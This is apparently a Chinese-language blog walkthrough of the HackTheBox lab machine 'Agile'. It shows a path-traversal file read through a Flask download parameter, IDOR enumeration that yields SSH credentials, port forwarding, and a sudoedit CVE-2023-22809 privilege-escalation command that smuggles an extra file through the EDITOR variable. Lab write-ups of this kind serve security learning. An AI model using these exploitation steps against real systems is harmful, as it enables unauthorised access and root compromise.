HTB-Agile

Overview

质量比较高的中等难度的机子

Enurmation

Nmap

Host is up (0.38s latency).
Not shown: 952 closed tcp ports (reset)
PORT      STATE    SERVICE           VERSION
22/tcp    open     ssh               OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f4bcee21d71f1aa26572212d5ba6f700 (ECDSA)
|_  256 65c1480d88cbb975a02ca5e6377e5106 (ED25519)
80/tcp    open     http              nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://superpass.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS

Web

这个站点存在默认密码 admin:admin 这是一个密码管理页面。

vmware_XBvWLN8iEl

但是登录进去并没有什么用

vmware_L8EaYRik7m

LFR

目录扫描,扫描到了 /download 页面

vmware_5XbnjYaRb9

访问这个页面,发现报错了。似乎是我们熟悉的 Flask 页面。查看关键部分的代码

QQMusic_uswR0kyq0o

似乎是传 fn 参数进去可以读取文件。而且我们还知道绝对路径 /app/app/superpass/views/vault_views.py 这就试试,发现报错了。

vmware_ilMbFLtncE

怎么回事呢?上上 SSRF 的字典。总是有一些奇怪的原因。发现只要加上 .. 就可以读取文件

vmware_dbJnoQ8NVH

可以看到一些用户名

vmware_Gw0EivxVJA

经过了许多的枚举。

/app/app/superpass/infrastructure/view_modifiers.py

/app/app/superpass/services/user_service.py

/app/app/superpass/templates/vault/vault.html

我尽可能读取到了我能够读取的文件。比如:vault_views.py

import flask
import subprocess
from flask_login import login_required, current_user
from superpass.infrastructure.view_modifiers import response
import superpass.services.password_service as password_service
from superpass.services.utility_service import get_random
from superpass.data.password import Password


blueprint = flask.Blueprint('vault', __name__, template_folder='templates')


@blueprint.route('/vault')
@response(template_file='vault/vault.html')
@login_required
def vault():
    passwords = password_service.get_passwords_for_user(current_user.id)
    print(f'{passwords=}')
    return {'passwords': passwords}


@blueprint.get('/vault/add_row')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def add_row():
    p = Password()
    p.password = get_random(20)
    #import pdb;pdb.set_trace()
    return {"p": p}


@blueprint.get('/vault/edit_row/<id>')
@response(template_file='vault/partials/password_row_editable.html')
@login_required
def get_edit_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}


@blueprint.get('/vault/row/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def get_row(id):
    password = password_service.get_password_by_id(id, current_user.id)

    return {"p": password}


@blueprint.post('/vault/add_row')
@login_required
def add_row_post():
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        return ''

    p = password_service.add_password(site, username, password, current_user.id)
    return flask.render_template('vault/partials/password_row.html', p=p)


@blueprint.post('/vault/update/<id>')
@response(template_file='vault/partials/password_row.html')
@login_required
def update(id):
    r = flask.request
    site = r.form.get('url', '').strip()
    username = r.form.get('username', '').strip()
    password = r.form.get('password', '').strip()

    if not (site or username or password):
        flask.abort(500)

    p = password_service.update_password(id, site, username, password)

    return {"p": p}


@blueprint.delete('/vault/delete/<id>')
@login_required
def delete(id):
    password_service.delete_password(id)
    return ''


@blueprint.get('/vault/export')
@login_required
def export():
    if current_user.has_passwords:        
        fn = password_service.generate_csv(current_user)
        return flask.redirect(f'/download?fn={fn}', 302)
    return "No passwords for user"


@blueprint.get('/download')
@login_required
def download():
    r = flask.request
    fn = r.args.get('fn')
    with open(f'/tmp/{fn}', 'rb') as f:
        data = f.read()
    resp = flask.make_response(data)
    resp.headers['Content-Disposition'] = 'attachment; filename=superpass_export.csv'
    resp.mimetype = 'text/csv'
    return resp

Foothold

user.txt

我尝试寻找各种能够 SSTI 的,结果一无所获。在绝望之际,别人告诉我,你只需访问 /vault/row/9 就可以读取到 ssh 用户名和密码。至于为什么是 9,他说是枚举出来的。太离谱了,这个逻辑。你想想我本身就是 admin,我居然要枚举到 9

corum:5db7caa1d13cc37c9fc2

vmware_zLcoV12Q8X

然后就可以得到第一个 flag 1b6906d6f55ee64fb099a39524b6aa5a

vmware_qmpTMqVBqh

上传了 linpeas.sh 发现存在 test.superpass.htb

Road To Root

SSH Port Forward

但是是运行在 5555 端口上面的,由于目标机器上面并不开放 5555 端口,因此我们无法直接访问。因此需要使用端口转发,这里用 ssh 的端口转发

ssh -CfNg -L 5555:127.0.0.1:5555 [email protected]

vmware_Yx1tlq9zEa

然后就可以在本机上面直接访问 5555 端口了

还是跟第一 flag 同样的步骤注册用户进行遍历简单试了一下

Typora_5W0Z5Knj7Q

得到 用户的 creds edwards:d07867c6267dcb5df0af

CVE-2023-228809

ssh 连接上去,发现存在 sudoedit 的权限

vmware_R68YxeG00V

读取这两个文件并没有什么有用的信息,但是经过查询发现 CVE-2023-22809 https://medium.com/@dev.nest/how-to-bypass-sudo-exploit-cve-2023-22809-vulnerability-296ef10a1466

查看 sudo 版本发现在漏洞范围内

vmware_zCi175HlHu

top -c 发现奇怪的脚本运行

vmware_CJ9ieUz9ul

进行读取,发现又执行了 /app/venv/bin/activate 的内容

vmware_zuTRySh28D

正好 activate 是可以运行 dev_admin 用户执行的

vmware_1yOY3YekRP

经过测试目标主机上存在 vim 因此执行

sudo -u dev_admin EDITOR="vi -- /app/venv/bin/activate" sudoedit /app/config_test.json

尝试添加(我也不知道 runner 用户是不是 root 权限执行这个脚本,先试试,不行的话至少还可以弹一个 runner 的 shell)

vmware_bNkrxiUe9A

没一会

vmware_LNAjanXsJn

收工

vmware_05ZvNxhtYG

End

质量在提权部分显得比较高,但是前期的漏洞利用就一个遍历就拿到 shell 了显得美中不足。

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇